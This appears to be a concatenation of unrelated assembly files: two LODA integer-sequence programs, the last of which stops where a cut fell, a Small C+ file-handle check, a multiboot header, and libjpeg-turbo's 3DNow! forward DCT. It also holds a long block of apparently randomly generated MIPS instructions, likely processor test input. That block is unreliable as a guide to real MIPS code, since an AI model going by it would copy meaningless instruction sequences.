; 0,24,168,624,1680,3720,7224,12768,21024,32760,48840,70224,97968,133224,177240,231360,297024,375768,469224,579120,707280,855624,1026168,1221024,1442400,1692600,1974024,2289168,2640624,3031080,3463320,3940224,4464768,5040024,5669160,6355440,7102224,7912968,8791224,9740640,10764960,11868024,13053768,14326224,15689520,17147880,18705624,20367168,22137024,24019800,26020200,28143024,30393168,32775624,35295480,37957920,40768224,43731768,46854024,50140560,53597040,57229224,61042968,65044224,69239040,73633560,78234024,83046768,88078224,93334920,98823480,104550624,110523168,116748024,123232200,129982800,137007024,144312168,151905624,159794880,167987520,176491224,185313768,194463024,203946960,213773640,223951224,234487968,245392224,256672440,268337160,280395024,292854768,305725224,319015320,332734080,346890624,361494168,376554024,392079600
mov $1,1
add $1,$0
pow $1,2
sub $1,$0
bin $1,2
div $1,3
mul $1,24
mov $0,$1
|
;
; Small C+ Library Functions
;
; djm 11/3/99
;
; Check whether a file handle is null or std*
; If so ret with z=1
INCLUDE "libdefs.def"
XLIB fhand_ck
;Entry: de=handle
.fhand_ck
ld a,d
or e
ret z
ld hl,stdin
and a
sbc hl,de
ret z
ld hl,stdout
and a
sbc hl,de
ret z
ld hl,stderr
and a
sbc hl,de
ret
|
;;init.asm
use32
section .multiboot
;multiboot spec
align 4
dd 0x1BADB002 ;magic
dd 0x00 ;flags
dd - (0x1BADB002 + 0x00) ;checksum. m+f+c should be zero
|
;
; jfdctflt.asm - floating-point FDCT (3DNow!)
;
; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB
; Copyright (C) 2016, D. R. Commander.
;
; Based on the x86 SIMD extension for IJG JPEG library
; Copyright (C) 1999-2006, MIYASAKA Masaru.
; For conditions of distribution and use, see copyright notice in jsimdext.inc
;
; This file should be assembled with NASM (Netwide Assembler),
; can *not* be assembled with Microsoft's MASM or any compatible
; assembler (including Borland's Turbo Assembler).
; NASM is available from http://nasm.sourceforge.net/ or
; http://sourceforge.net/project/showfiles.php?group_id=6208
;
; This file contains a floating-point implementation of the forward DCT
; (Discrete Cosine Transform). The following code is based directly on
; the IJG's original jfdctflt.c; see the jfdctflt.c for more details.
%include "jsimdext.inc"
%include "jdct.inc"
; --------------------------------------------------------------------------
SECTION SEG_CONST
alignz 32
GLOBAL_DATA(jconst_fdct_float_3dnow)
EXTN(jconst_fdct_float_3dnow):
PD_0_382 times 2 dd 0.382683432365089771728460
PD_0_707 times 2 dd 0.707106781186547524400844
PD_0_541 times 2 dd 0.541196100146196984399723
PD_1_306 times 2 dd 1.306562964876376527856643
alignz 32
; --------------------------------------------------------------------------
SECTION SEG_TEXT
BITS 32
;
; Perform the forward DCT on one block of samples.
;
; GLOBAL(void)
; jsimd_fdct_float_3dnow(FAST_FLOAT *data)
;
%define data(b) (b) + 8 ; FAST_FLOAT *data
%define original_ebp ebp + 0
%define wk(i) ebp - (WK_NUM - (i)) * SIZEOF_MMWORD ; mmword wk[WK_NUM]
%define WK_NUM 2
align 32
GLOBAL_FUNCTION(jsimd_fdct_float_3dnow)
EXTN(jsimd_fdct_float_3dnow):
push ebp
mov eax, esp ; eax = original ebp
sub esp, byte 4
and esp, byte (-SIZEOF_MMWORD) ; align to 64 bits
mov [esp], eax
mov ebp, esp ; ebp = aligned ebp
lea esp, [wk(0)]
pushpic ebx
; push ecx ; need not be preserved
; push edx ; need not be preserved
; push esi ; unused
; push edi ; unused
get_GOT ebx ; get GOT address
; ---- Pass 1: process rows.
mov edx, POINTER [data(eax)] ; (FAST_FLOAT *)
mov ecx, DCTSIZE/2
alignx 16, 7
.rowloop:
movq mm0, MMWORD [MMBLOCK(0,0,edx,SIZEOF_FAST_FLOAT)]
movq mm1, MMWORD [MMBLOCK(1,0,edx,SIZEOF_FAST_FLOAT)]
movq mm2, MMWORD [MMBLOCK(0,3,edx,SIZEOF_FAST_FLOAT)]
movq mm3, MMWORD [MMBLOCK(1,3,edx,SIZEOF_FAST_FLOAT)]
; mm0=(00 01), mm1=(10 11), mm2=(06 07), mm3=(16 17)
movq mm4, mm0 ; transpose coefficients
punpckldq mm0, mm1 ; mm0=(00 10)=data0
punpckhdq mm4, mm1 ; mm4=(01 11)=data1
movq mm5, mm2 ; transpose coefficients
punpckldq mm2, mm3 ; mm2=(06 16)=data6
punpckhdq mm5, mm3 ; mm5=(07 17)=data7
movq mm6, mm4
movq mm7, mm0
pfsub mm4, mm2 ; mm4=data1-data6=tmp6
pfsub mm0, mm5 ; mm0=data0-data7=tmp7
pfadd mm6, mm2 ; mm6=data1+data6=tmp1
pfadd mm7, mm5 ; mm7=data0+data7=tmp0
movq mm1, MMWORD [MMBLOCK(0,1,edx,SIZEOF_FAST_FLOAT)]
movq mm3, MMWORD [MMBLOCK(1,1,edx,SIZEOF_FAST_FLOAT)]
movq mm2, MMWORD [MMBLOCK(0,2,edx,SIZEOF_FAST_FLOAT)]
movq mm5, MMWORD [MMBLOCK(1,2,edx,SIZEOF_FAST_FLOAT)]
; mm1=(02 03), mm3=(12 13), mm2=(04 05), mm5=(14 15)
movq MMWORD [wk(0)], mm4 ; wk(0)=tmp6
movq MMWORD [wk(1)], mm0 ; wk(1)=tmp7
movq mm4, mm1 ; transpose coefficients
punpckldq mm1, mm3 ; mm1=(02 12)=data2
punpckhdq mm4, mm3 ; mm4=(03 13)=data3
movq mm0, mm2 ; transpose coefficients
punpckldq mm2, mm5 ; mm2=(04 14)=data4
punpckhdq mm0, mm5 ; mm0=(05 15)=data5
movq mm3, mm4
movq mm5, mm1
pfadd mm4, mm2 ; mm4=data3+data4=tmp3
pfadd mm1, mm0 ; mm1=data2+data5=tmp2
pfsub mm3, mm2 ; mm3=data3-data4=tmp4
pfsub mm5, mm0 ; mm5=data2-data5=tmp5
; -- Even part
movq mm2, mm7
movq mm0, mm6
pfsub mm7, mm4 ; mm7=tmp13
pfsub mm6, mm1 ; mm6=tmp12
pfadd mm2, mm4 ; mm2=tmp10
pfadd mm0, mm1 ; mm0=tmp11
pfadd mm6, mm7
pfmul mm6, [GOTOFF(ebx,PD_0_707)] ; mm6=z1
movq mm4, mm2
movq mm1, mm7
pfsub mm2, mm0 ; mm2=data4
pfsub mm7, mm6 ; mm7=data6
pfadd mm4, mm0 ; mm4=data0
pfadd mm1, mm6 ; mm1=data2
movq MMWORD [MMBLOCK(0,2,edx,SIZEOF_FAST_FLOAT)], mm2
movq MMWORD [MMBLOCK(0,3,edx,SIZEOF_FAST_FLOAT)], mm7
movq MMWORD [MMBLOCK(0,0,edx,SIZEOF_FAST_FLOAT)], mm4
movq MMWORD [MMBLOCK(0,1,edx,SIZEOF_FAST_FLOAT)], mm1
; -- Odd part
movq mm0, MMWORD [wk(0)] ; mm0=tmp6
movq mm6, MMWORD [wk(1)] ; mm6=tmp7
pfadd mm3, mm5 ; mm3=tmp10
pfadd mm5, mm0 ; mm5=tmp11
pfadd mm0, mm6 ; mm0=tmp12, mm6=tmp7
pfmul mm5, [GOTOFF(ebx,PD_0_707)] ; mm5=z3
movq mm2, mm3 ; mm2=tmp10
pfsub mm3, mm0
pfmul mm3, [GOTOFF(ebx,PD_0_382)] ; mm3=z5
pfmul mm2, [GOTOFF(ebx,PD_0_541)] ; mm2=MULTIPLY(tmp10,FIX_0_54119610)
pfmul mm0, [GOTOFF(ebx,PD_1_306)] ; mm0=MULTIPLY(tmp12,FIX_1_30656296)
pfadd mm2, mm3 ; mm2=z2
pfadd mm0, mm3 ; mm0=z4
movq mm7, mm6
pfsub mm6, mm5 ; mm6=z13
pfadd mm7, mm5 ; mm7=z11
movq mm4, mm6
movq mm1, mm7
pfsub mm6, mm2 ; mm6=data3
pfsub mm7, mm0 ; mm7=data7
pfadd mm4, mm2 ; mm4=data5
pfadd mm1, mm0 ; mm1=data1
movq MMWORD [MMBLOCK(1,1,edx,SIZEOF_FAST_FLOAT)], mm6
movq MMWORD [MMBLOCK(1,3,edx,SIZEOF_FAST_FLOAT)], mm7
movq MMWORD [MMBLOCK(1,2,edx,SIZEOF_FAST_FLOAT)], mm4
movq MMWORD [MMBLOCK(1,0,edx,SIZEOF_FAST_FLOAT)], mm1
add edx, byte 2*DCTSIZE*SIZEOF_FAST_FLOAT
dec ecx
jnz near .rowloop
; ---- Pass 2: process columns.
mov edx, POINTER [data(eax)] ; (FAST_FLOAT *)
mov ecx, DCTSIZE/2
alignx 16, 7
.columnloop:
movq mm0, MMWORD [MMBLOCK(0,0,edx,SIZEOF_FAST_FLOAT)]
movq mm1, MMWORD [MMBLOCK(1,0,edx,SIZEOF_FAST_FLOAT)]
movq mm2, MMWORD [MMBLOCK(6,0,edx,SIZEOF_FAST_FLOAT)]
movq mm3, MMWORD [MMBLOCK(7,0,edx,SIZEOF_FAST_FLOAT)]
; mm0=(00 10), mm1=(01 11), mm2=(60 70), mm3=(61 71)
movq mm4, mm0 ; transpose coefficients
punpckldq mm0, mm1 ; mm0=(00 01)=data0
punpckhdq mm4, mm1 ; mm4=(10 11)=data1
movq mm5, mm2 ; transpose coefficients
punpckldq mm2, mm3 ; mm2=(60 61)=data6
punpckhdq mm5, mm3 ; mm5=(70 71)=data7
movq mm6, mm4
movq mm7, mm0
pfsub mm4, mm2 ; mm4=data1-data6=tmp6
pfsub mm0, mm5 ; mm0=data0-data7=tmp7
pfadd mm6, mm2 ; mm6=data1+data6=tmp1
pfadd mm7, mm5 ; mm7=data0+data7=tmp0
movq mm1, MMWORD [MMBLOCK(2,0,edx,SIZEOF_FAST_FLOAT)]
movq mm3, MMWORD [MMBLOCK(3,0,edx,SIZEOF_FAST_FLOAT)]
movq mm2, MMWORD [MMBLOCK(4,0,edx,SIZEOF_FAST_FLOAT)]
movq mm5, MMWORD [MMBLOCK(5,0,edx,SIZEOF_FAST_FLOAT)]
; mm1=(20 30), mm3=(21 31), mm2=(40 50), mm5=(41 51)
movq MMWORD [wk(0)], mm4 ; wk(0)=tmp6
movq MMWORD [wk(1)], mm0 ; wk(1)=tmp7
movq mm4, mm1 ; transpose coefficients
punpckldq mm1, mm3 ; mm1=(20 21)=data2
punpckhdq mm4, mm3 ; mm4=(30 31)=data3
movq mm0, mm2 ; transpose coefficients
punpckldq mm2, mm5 ; mm2=(40 41)=data4
punpckhdq mm0, mm5 ; mm0=(50 51)=data5
movq mm3, mm4
movq mm5, mm1
pfadd mm4, mm2 ; mm4=data3+data4=tmp3
pfadd mm1, mm0 ; mm1=data2+data5=tmp2
pfsub mm3, mm2 ; mm3=data3-data4=tmp4
pfsub mm5, mm0 ; mm5=data2-data5=tmp5
; -- Even part
movq mm2, mm7
movq mm0, mm6
pfsub mm7, mm4 ; mm7=tmp13
pfsub mm6, mm1 ; mm6=tmp12
pfadd mm2, mm4 ; mm2=tmp10
pfadd mm0, mm1 ; mm0=tmp11
pfadd mm6, mm7
pfmul mm6, [GOTOFF(ebx,PD_0_707)] ; mm6=z1
movq mm4, mm2
movq mm1, mm7
pfsub mm2, mm0 ; mm2=data4
pfsub mm7, mm6 ; mm7=data6
pfadd mm4, mm0 ; mm4=data0
pfadd mm1, mm6 ; mm1=data2
movq MMWORD [MMBLOCK(4,0,edx,SIZEOF_FAST_FLOAT)], mm2
movq MMWORD [MMBLOCK(6,0,edx,SIZEOF_FAST_FLOAT)], mm7
movq MMWORD [MMBLOCK(0,0,edx,SIZEOF_FAST_FLOAT)], mm4
movq MMWORD [MMBLOCK(2,0,edx,SIZEOF_FAST_FLOAT)], mm1
; -- Odd part
movq mm0, MMWORD [wk(0)] ; mm0=tmp6
movq mm6, MMWORD [wk(1)] ; mm6=tmp7
pfadd mm3, mm5 ; mm3=tmp10
pfadd mm5, mm0 ; mm5=tmp11
pfadd mm0, mm6 ; mm0=tmp12, mm6=tmp7
pfmul mm5, [GOTOFF(ebx,PD_0_707)] ; mm5=z3
movq mm2, mm3 ; mm2=tmp10
pfsub mm3, mm0
pfmul mm3, [GOTOFF(ebx,PD_0_382)] ; mm3=z5
pfmul mm2, [GOTOFF(ebx,PD_0_541)] ; mm2=MULTIPLY(tmp10,FIX_0_54119610)
pfmul mm0, [GOTOFF(ebx,PD_1_306)] ; mm0=MULTIPLY(tmp12,FIX_1_30656296)
pfadd mm2, mm3 ; mm2=z2
pfadd mm0, mm3 ; mm0=z4
movq mm7, mm6
pfsub mm6, mm5 ; mm6=z13
pfadd mm7, mm5 ; mm7=z11
movq mm4, mm6
movq mm1, mm7
pfsub mm6, mm2 ; mm6=data3
pfsub mm7, mm0 ; mm7=data7
pfadd mm4, mm2 ; mm4=data5
pfadd mm1, mm0 ; mm1=data1
movq MMWORD [MMBLOCK(3,0,edx,SIZEOF_FAST_FLOAT)], mm6
movq MMWORD [MMBLOCK(7,0,edx,SIZEOF_FAST_FLOAT)], mm7
movq MMWORD [MMBLOCK(5,0,edx,SIZEOF_FAST_FLOAT)], mm4
movq MMWORD [MMBLOCK(1,0,edx,SIZEOF_FAST_FLOAT)], mm1
add edx, byte 2*SIZEOF_FAST_FLOAT
dec ecx
jnz near .columnloop
femms ; empty MMX/3DNow! state
; pop edi ; unused
; pop esi ; unused
; pop edx ; need not be preserved
; pop ecx ; need not be preserved
poppic ebx
mov esp, ebp ; esp <- aligned ebp
pop esp ; esp <- original ebp
pop ebp
ret
; For some reason, the OS X linker does not honor the request to align the
; segment unless we do this.
align 32
|
ori $ra,$ra,0xf
lui $5,45011
mfhi $5
addiu $1,$4,-31156
sb $1,4($0)
ori $4,$2,7810
ori $4,$2,18958
lui $2,45923
mtlo $0
mflo $1
mtlo $0
sll $6,$4,12
ori $6,$1,47363
addu $5,$1,$5
lui $4,40175
addiu $4,$4,-970
lb $5,1($0)
lui $6,29143
mtlo $4
divu $4,$ra
mflo $1
lb $1,14($0)
sb $4,7($0)
divu $6,$ra
addu $2,$6,$2
ori $5,$4,42278
lui $0,7094
addiu $4,$4,-29697
divu $5,$ra
mflo $1
mtlo $5
mult $4,$2
lb $5,5($0)
mflo $5
mult $6,$2
sb $5,7($0)
mthi $5
lb $1,7($0)
mfhi $2
mfhi $1
mtlo $3
lui $0,25705
div $1,$ra
mtlo $3
mfhi $5
mult $0,$0
lb $3,0($0)
mthi $4
div $0,$ra
sll $1,$2,4
addiu $6,$6,29139
multu $3,$4
lb $1,2($0)
multu $0,$2
mflo $5
divu $4,$ra
lui $1,60183
lui $1,13975
div $3,$ra
mfhi $4
sb $5,8($0)
mtlo $0
ori $5,$1,36975
div $1,$ra
sb $5,6($0)
srav $0,$0,$0
mult $3,$3
mflo $5
mthi $5
mthi $1
divu $1,$ra
addiu $4,$5,-26377
lui $4,12345
ori $4,$4,15811
multu $6,$1
sll $6,$4,15
div $2,$ra
mfhi $2
mthi $1
multu $5,$5
div $2,$ra
mthi $1
mult $3,$3
div $1,$ra
mult $2,$2
srav $4,$6,$6
ori $0,$0,44903
div $5,$ra
lui $1,16890
addu $4,$2,$0
srav $4,$1,$6
mthi $5
sll $0,$6,30
multu $1,$0
lui $4,44318
ori $4,$1,15888
addiu $4,$1,13259
multu $6,$6
ori $5,$5,42124
divu $5,$ra
mult $1,$4
divu $0,$ra
mfhi $2
srav $4,$6,$6
mflo $0
divu $0,$ra
mtlo $3
mflo $6
mtlo $4
lui $4,25743
mtlo $1
mfhi $1
mult $6,$2
divu $3,$ra
addiu $5,$5,8092
srav $5,$1,$5
sll $0,$3,9
mtlo $5
lb $3,5($0)
lui $3,16999
multu $6,$0
div $1,$ra
multu $3,$4
mthi $0
lb $5,16($0)
mthi $5
addiu $1,$1,-16456
mflo $1
divu $4,$ra
mflo $1
addu $2,$2,$2
multu $0,$1
multu $6,$4
addu $1,$2,$5
sll $3,$4,25
lb $0,12($0)
sb $1,14($0)
div $5,$ra
mtlo $1
mult $4,$5
div $1,$ra
divu $6,$ra
mtlo $6
divu $5,$ra
addu $1,$4,$2
multu $1,$0
mtlo $6
mthi $1
srav $4,$2,$3
mfhi $4
mflo $6
addu $4,$4,$4
div $4,$ra
mflo $5
divu $2,$ra
multu $5,$1
mtlo $3
mthi $6
addu $5,$5,$5
sll $4,$6,4
mflo $5
multu $4,$5
sll $1,$4,29
srav $6,$4,$4
ori $6,$6,48258
sll $5,$1,18
ori $5,$2,8127
div $1,$ra
mtlo $4
mflo $4
sll $0,$0,11
mflo $2
mthi $1
mflo $4
divu $1,$ra
div $4,$ra
addu $4,$6,$0
sll $5,$6,11
lb $1,9($0)
mtlo $4
addu $2,$2,$2
mthi $1
srav $4,$4,$4
sll $5,$4,27
mtlo $3
mtlo $4
sb $1,5($0)
sll $5,$4,4
mult $1,$2
ori $6,$5,53031
sb $1,0($0)
lb $6,3($0)
srav $6,$4,$4
mfhi $2
ori $5,$2,2774
lb $0,5($0)
sb $5,5($0)
sb $5,2($0)
addu $3,$3,$3
multu $4,$4
sll $5,$5,26
sll $5,$4,6
mtlo $4
srav $5,$5,$5
mfhi $4
mtlo $3
div $1,$ra
mthi $6
addu $4,$4,$4
sb $4,1($0)
srav $4,$4,$4
addiu $1,$2,5250
lb $4,13($0)
mtlo $3
mfhi $6
mfhi $1
lui $1,29604
mult $1,$1
srav $1,$1,$0
multu $2,$2
lui $5,58052
mflo $6
addiu $4,$0,11289
addu $0,$5,$3
ori $1,$5,9113
srav $4,$2,$2
addiu $4,$1,30959
addiu $1,$6,-26018
divu $2,$ra
addiu $1,$1,-6839
addiu $0,$0,31270
lui $2,38502
addiu $3,$3,-32262
mult $1,$2
sll $1,$0,29
lb $6,10($0)
div $5,$ra
mthi $1
sll $4,$6,0
ori $6,$2,62464
divu $5,$ra
mthi $4
mthi $5
lui $4,4418
mult $4,$4
addiu $1,$1,19083
srav $1,$4,$3
sb $6,14($0)
div $4,$ra
sb $2,5($0)
mthi $5
mult $0,$4
divu $6,$ra
lb $1,7($0)
mthi $4
mthi $6
addu $0,$0,$1
mflo $0
srav $4,$4,$2
addu $5,$1,$5
ori $2,$0,25091
srav $6,$1,$5
lui $4,15333
addiu $5,$4,32379
ori $5,$3,62946
mfhi $0
sb $1,3($0)
multu $4,$4
div $0,$ra
mflo $3
sb $0,4($0)
mfhi $2
srav $4,$4,$6
mthi $1
mthi $4
ori $1,$6,26331
addu $4,$4,$3
div $4,$ra
mult $1,$5
addiu $5,$2,12103
multu $6,$4
divu $4,$ra
lb $1,16($0)
addiu $1,$1,-7111
addu $4,$5,$4
addiu $4,$1,-25444
mult $0,$2
lui $4,26378
div $0,$ra
ori $0,$4,41978
sll $1,$1,16
lb $1,12($0)
multu $5,$4
mthi $4
mthi $4
multu $5,$0
div $2,$ra
addiu $0,$6,-31942
mtlo $1
mfhi $1
mult $4,$6
divu $1,$ra
ori $1,$3,23056
addu $6,$3,$3
sll $3,$3,19
mfhi $2
addiu $0,$4,29856
sb $1,7($0)
mfhi $5
addu $6,$6,$5
srav $4,$2,$1
addiu $1,$1,14866
lb $1,0($0)
sb $5,11($0)
ori $4,$1,58198
sb $2,2($0)
mult $4,$0
mthi $1
div $4,$ra
lui $4,64594
sll $3,$2,9
srav $3,$5,$3
mult $4,$0
lb $6,2($0)
divu $4,$ra
lui $6,36673
lui $2,12353
srav $6,$5,$3
mthi $6
srav $4,$6,$0
addu $5,$4,$4
mthi $4
mult $4,$1
mult $3,$4
addiu $1,$4,26726
mult $1,$1
mthi $6
mflo $5
divu $4,$ra
mult $1,$2
ori $4,$2,44867
mtlo $5
mthi $4
lui $5,63460
lb $2,5($0)
divu $4,$ra
sll $6,$6,28
sb $2,13($0)
addu $4,$1,$3
addiu $4,$4,-15619
sll $0,$4,18
multu $6,$5
lb $5,1($0)
sll $2,$2,0
lui $2,29637
divu $1,$ra
div $6,$ra
mfhi $1
ori $4,$2,13452
mflo $2
ori $6,$5,61092
div $3,$ra
lb $3,10($0)
srav $2,$2,$2
multu $2,$2
sll $4,$4,27
div $4,$ra
lb $4,13($0)
divu $0,$ra
lui $3,39936
sb $0,9($0)
sb $1,13($0)
mfhi $0
addiu $1,$2,-6488
srav $5,$3,$3
mflo $4
mfhi $3
srav $5,$1,$2
sll $6,$4,22
multu $5,$3
ori $4,$2,35542
addu $4,$1,$2
multu $4,$0
lb $5,10($0)
mtlo $6
mfhi $5
mult $5,$5
mult $4,$4
mthi $1
mflo $5
mfhi $1
srav $5,$1,$5
mult $1,$0
div $6,$ra
sb $6,11($0)
mfhi $4
mflo $2
mult $6,$2
div $0,$ra
addu $5,$1,$1
div $6,$ra
mthi $5
ori $4,$1,33291
lui $0,37411
lb $3,11($0)
srav $1,$0,$6
ori $4,$4,62466
ori $5,$2,40542
multu $1,$4
srav $0,$3,$3
sb $1,5($0)
mthi $0
addu $4,$5,$5
mult $4,$4
mthi $1
mthi $1
mult $3,$1
divu $1,$ra
mthi $1
srav $2,$2,$2
mfhi $2
div $4,$ra
multu $5,$4
addiu $2,$2,-5789
lui $1,1803
mult $1,$1
mflo $3
mthi $6
mtlo $4
addu $1,$1,$1
div $4,$ra
mflo $6
mthi $4
mtlo $3
multu $5,$5
ori $0,$4,54605
mtlo $1
mult $3,$4
lb $4,16($0)
sll $6,$2,25
sll $6,$2,23
divu $3,$ra
mfhi $4
mtlo $5
multu $0,$2
addu $6,$2,$3
ori $0,$2,26072
lb $0,3($0)
mthi $1
addu $5,$1,$1
multu $4,$2
lui $4,64649
mult $1,$1
sb $5,12($0)
sb $6,13($0)
divu $1,$ra
divu $3,$ra
sb $5,9($0)
ori $1,$1,62100
addiu $0,$3,10696
sll $2,$1,19
lui $5,55493
divu $1,$ra
mthi $1
sb $3,1($0)
ori $2,$2,9820
lb $4,0($0)
srav $5,$2,$6
addu $1,$4,$4
addu $6,$5,$6
addiu $1,$1,22893
mflo $5
mthi $1
sb $5,3($0)
sb $4,8($0)
multu $3,$4
addiu $4,$4,-31153
mfhi $1
mult $4,$3
mthi $5
lui $5,57473
lb $5,9($0)
sll $0,$0,15
mtlo $4
mflo $3
srav $3,$3,$3
mtlo $6
lui $3,64600
multu $3,$1
addiu $0,$4,-16702
divu $5,$ra
sb $5,15($0)
ori $4,$4,50540
multu $4,$2
lb $5,16($0)
mult $0,$1
multu $1,$1
lb $4,7($0)
addiu $1,$6,31390
mflo $4
divu $5,$ra
srav $4,$4,$4
divu $1,$ra
mfhi $4
addiu $1,$1,-27273
addu $4,$4,$4
addu $2,$5,$2
lb $2,10($0)
divu $1,$ra
mflo $1
ori $4,$2,40934
addiu $4,$6,-13049
div $4,$ra
mthi $5
ori $4,$2,60724
addu $2,$2,$3
multu $1,$4
multu $1,$1
lui $6,23350
addu $4,$2,$2
mfhi $1
lui $6,29700
ori $0,$5,32833
mthi $4
mtlo $1
ori $4,$4,46460
sll $5,$2,4
lb $2,2($0)
ori $5,$2,47968
srav $4,$6,$4
divu $5,$ra
addiu $4,$4,11616
mtlo $0
mtlo $3
addu $4,$2,$3
sb $5,9($0)
sb $5,7($0)
lb $3,5($0)
srav $0,$2,$1
mfhi $4
sb $5,14($0)
mult $1,$3
div $5,$ra
divu $4,$ra
multu $1,$2
lui $5,30762
addu $6,$5,$5
mflo $4
sll $4,$4,6
mtlo $6
mflo $0
divu $4,$ra
divu $3,$ra
addu $5,$6,$1
multu $4,$4
div $4,$ra
sll $5,$4,6
lb $6,13($0)
multu $1,$5
mtlo $1
lui $5,23388
mflo $4
addu $2,$6,$2
mflo $5
mult $5,$4
ori $4,$4,64875
lui $1,49881
div $2,$ra
sb $1,13($0)
lui $4,5188
mfhi $3
srav $0,$0,$4
mflo $3
divu $0,$ra
addu $0,$2,$2
multu $2,$2
lui $1,49413
mult $2,$4
addu $0,$4,$5
mthi $4
lui $5,50736
mfhi $4
mfhi $6
lb $5,14($0)
sll $5,$5,6
mult $4,$5
ori $4,$4,54716
ori $4,$4,61506
mult $5,$1
mult $5,$0
addiu $4,$2,8885
sb $1,15($0)
multu $6,$4
div $1,$ra
ori $1,$1,23977
addu $0,$0,$4
addu $2,$2,$2
lb $4,1($0)
sb $2,12($0)
lb $4,4($0)
mult $4,$4
mfhi $5
srav $2,$1,$2
mtlo $4
lui $4,46767
multu $1,$4
addu $0,$0,$2
divu $4,$ra
mult $4,$2
mult $5,$2
mflo $4
divu $2,$ra
lb $0,15($0)
multu $2,$6
lb $4,11($0)
ori $3,$2,31097
divu $0,$ra
addu $5,$5,$2
divu $5,$ra
srav $0,$1,$0
ori $3,$2,64489
sll $4,$2,28
mult $4,$5
sb $4,5($0)
multu $2,$6
mtlo $4
addu $1,$1,$5
multu $4,$4
lb $3,1($0)
lb $6,14($0)
mthi $1
lui $0,22639
div $1,$ra
sb $6,11($0)
mflo $4
mult $6,$2
addiu $6,$0,-3423
mtlo $5
addu $6,$0,$2
mtlo $2
addu $5,$2,$1
srav $0,$0,$2
sll $6,$0,13
mflo $6
lui $4,63609
srav $0,$0,$0
lui $1,45035
ori $0,$4,10648
mthi $4
ori $4,$1,24039
addu $4,$6,$4
lb $0,15($0)
lui $5,8794
addu $2,$2,$2
sb $0,2($0)
mflo $1
mtlo $5
mfhi $4
ori $5,$5,44365
multu $4,$4
lui $4,60697
mthi $1
addiu $5,$5,9568
divu $1,$ra
srav $4,$2,$3
ori $2,$2,59414
addu $0,$2,$2
addu $0,$4,$0
mthi $0
mfhi $3
div $6,$ra
lui $0,14709
mfhi $4
mthi $4
multu $4,$4
div $4,$ra
sll $2,$2,16
divu $3,$ra
mtlo $4
mtlo $0
lb $6,16($0)
ori $4,$1,48053
addu $4,$2,$4
mflo $1
mtlo $6
divu $4,$ra
div $0,$ra
sll $5,$4,25
mtlo $4
mfhi $5
addiu $1,$2,-7202
addu $6,$1,$2
divu $5,$ra
addiu $2,$2,-30880
div $5,$ra
ori $5,$1,1049
lui $5,37728
lb $6,0($0)
addu $5,$4,$2
mthi $4
divu $4,$ra
addiu $3,$6,698
srav $2,$2,$2
multu $5,$5
multu $1,$2
mflo $4
srav $4,$4,$5
sb $5,9($0)
addiu $5,$4,18586
ori $2,$2,37538
mult $1,$1
div $3,$ra
sb $4,1($0)
mthi $4
lb $5,7($0)
addiu $1,$1,-12966
addiu $4,$2,8713
lb $3,15($0)
mult $0,$4
ori $4,$4,25448
addu $4,$4,$3
ori $5,$1,51198
mfhi $4
ori $1,$2,6714
ori $2,$2,64182
divu $1,$ra
sll $2,$2,1
addu $1,$5,$3
mflo $5
addiu $2,$5,28220
divu $5,$ra
addiu $5,$2,-32502
mfhi $5
mtlo $4
multu $3,$5
sb $1,15($0)
addiu $5,$6,-12249
div $4,$ra
multu $0,$4
div $0,$ra
lb $4,8($0)
ori $1,$6,27120
sll $4,$6,23
mfhi $4
mtlo $5
multu $5,$5
addiu $5,$5,24458
addu $1,$4,$3
mthi $2
sll $5,$3,5
mult $2,$2
mtlo $0
mtlo $5
mtlo $5
sb $3,1($0)
divu $5,$ra
mult $4,$5
divu $5,$ra
mult $5,$0
div $5,$ra
mflo $3
mflo $5
addiu $4,$4,-30422
srav $4,$2,$5
ori $4,$0,49406
addiu $6,$1,18116
ori $3,$1,21616
mflo $5
div $5,$ra
ori $4,$2,60044
mflo $1
mtlo $3
mfhi $3
srav $4,$5,$4
sb $1,2($0)
sb $0,4($0)
addiu $4,$2,-8430
mflo $1
addiu $4,$5,-3684
mflo $0
mflo $5
mfhi $1
divu $1,$ra
mtlo $1
mfhi $4
mflo $4
srav $2,$2,$2
addu $0,$2,$2
mflo $4
mtlo $0
div $1,$ra
mflo $4
mult $6,$1
lui $6,28707
sb $6,1($0)
addu $6,$5,$4
sll $5,$5,24
sll $4,$4,21
lb $4,5($0)
sll $3,$1,22
srav $5,$4,$2
lb $1,0($0)
sll $2,$2,31
mfhi $6
sb $0,12($0)
mtlo $0
sb $0,3($0)
mflo $0
mthi $4
mfhi $2
lui $0,33542
mflo $1
srav $1,$1,$2
div $3,$ra
addu $6,$3,$3
sb $6,7($0)
lui $6,31630
lb $6,6($0)
ori $2,$2,23292
lui $3,8266
divu $2,$ra
mthi $2
lui $5,14635
mflo $6
srav $0,$4,$4
div $5,$ra
mthi $4
multu $4,$4
mfhi $6
mthi $5
addiu $5,$1,-912
lui $2,40931
lui $2,25852
lb $0,12($0)
addu $4,$0,$4
mthi $4
sb $4,3($0)
mfhi $4
mthi $5
div $5,$ra
srav $1,$1,$2
mfhi $3
lb $5,8($0)
addu $4,$1,$1
sll $4,$1,23
mflo $5
srav $5,$5,$2
sb $3,13($0)
mult $6,$0
mflo $4
mflo $1
mult $2,$4
addiu $2,$2,-23418
addu $5,$5,$2
mtlo $6
addiu $2,$2,19333
multu $5,$5
div $4,$ra
multu $1,$3
mthi $6
srav $2,$2,$2
sll $4,$2,4
lb $3,3($0)
divu $5,$ra
sll $1,$2,13
divu $5,$ra
lb $6,11($0)
srav $6,$5,$6
mtlo $1
sll $5,$4,17
lb $3,14($0)
mflo $2
lui $1,32428
sll $6,$3,0
div $4,$ra
addiu $1,$5,-999
srav $5,$2,$5
mthi $4
multu $6,$4
divu $0,$ra
lui $4,16172
sb $6,1($0)
sll $2,$2,22
sll $1,$2,11
sll $1,$4,15
sb $4,10($0)
div $4,$ra
srav $5,$2,$4
divu $2,$ra
|
; A025803: Expansion of 1/((1-x^2)(1-x^4)(1-x^7)).
; 1,0,1,0,2,0,2,1,3,1,3,2,4,2,5,3,6,3,7,4,8,5,9,6,10,7,11,8,13,9,14,10,16,11,17,13,19,14,20,16,22,17,24,19,26,20,28,22,30,24,32,26,34,28,36,30,39,32,41,34,44,36,46,39
mov $5,$0
mov $7,2
lpb $7
clr $0,5
mov $0,$5
sub $7,1
add $0,$7
sub $0,1
add $2,17
lpb $0
mov $1,$0
sub $0,1
cal $1,25773 ; Expansion of 1/((1-x)(1-x^4)(1-x^7)).
sub $0,1
add $2,$1
lpe
mov $1,$2
sub $1,16
mov $8,$7
lpb $8
mov $6,$1
sub $8,1
lpe
lpe
lpb $5
mov $5,0
